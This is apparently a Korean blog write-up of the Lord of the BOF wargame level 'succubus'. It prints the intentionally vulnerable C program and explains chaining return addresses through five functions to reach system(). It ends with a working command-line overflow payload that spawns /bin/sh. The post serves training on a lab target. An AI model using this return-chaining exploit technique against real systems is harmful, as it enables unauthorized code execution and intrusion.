소스가 상당히 길어졌다.


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}


근데 결국 보면 MO함수가 실행되서 system함수가 실행되면 되는거다. 일단 공유라이브러리는 안되고 ret가 DO함수 주소여야 한다. 그렇다면 ret를 DO함수로 만든다음 MO함수까지 호출하도록 하면 되는데 MO함수 내에선 또 check값이 4여야만 system함수가 호출된다. 그렇다면 check값은 MO함수를 제외한 나머지 함수에 의해 순차적으로 값이 세팅된다. 결국 DO -> GYE -> GUL -> YUT -> MO 형식으로 호출이 되면 된다.

ret부터 148 바이트가 초기화가 안되기 때문에 ret뒤의 값들을 활용하면 된다.


이런식이다.

DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소

RET부터 일케 넣어주면 맨처음 DO함수로 EIP가 변경된뒤 DO함수 종료시에 RET가 실행되면서 기존에 넣어둔 GYE로 EIP가 변경되고 같은형식으로 쭉 MO함수까지 호출이 되게된다.


DO  = 0x080487ec


GYE = 0x080487bc


GUL = 0x0804878c


YUT = 0x0804875c


MO  = 0x08048724



실제로 넣어보면 MO함수까지 호출되는 것을 알 수 있고 system함수에 인자값이 제대로 들어오지 않아 오류가 난것을 확인할 수 있다.


이제 system함수내에 들어갈 /bin/sh 문자열 주소를 구하면 되는데 공유라이브러리 영역과 환경변수 buf~buf+44영역에는 담을수가 없다. 그치만 buf48~buf148 영역의 100byte라는 충분한 메모리 공간이 있기 때문에 이를 활용해주면 된다.


함수 주소를 모두 넣어준뒤 마지막 MO함수에서는 자신의 인자값으로 system함수의 인자값을 세팅하므로 MO함수의 인자값이 들어가는 위치에 맞춰 아래와 같은 방식으로 세팅을 해주면 된다.


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"


bin/sh문자열 주소는 위에서도 언급했듯이  


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"+"/bin/sh 헥사값"


요렇게 /bin/sh값을 아예 buf48~buf148영역에 박아넣고 그주소를 system함수 인자값으로 세팅해주면 된다.


필요한 개념은 다 정리됬으니 이제 맞춰 페이로드를 짜면된다.


./succubua `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xee\xee\xee\xee"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



일단 버퍼에 넣어놓은 /bin/sh값의 정확한 메모리 주소를 모르기 때문에 /bin/sh 문자열주소는 임의의 값으로 세팅한뒤 세그먼트 fault낸뒤 core파일로 분석했다.



/bin/sh문자열의 주소는 0xbffffaa8이었다.


이제 모든 재료는 다 구했으니 그대로 익스플로잇해주면 된다.


./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



잘나온당.






 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,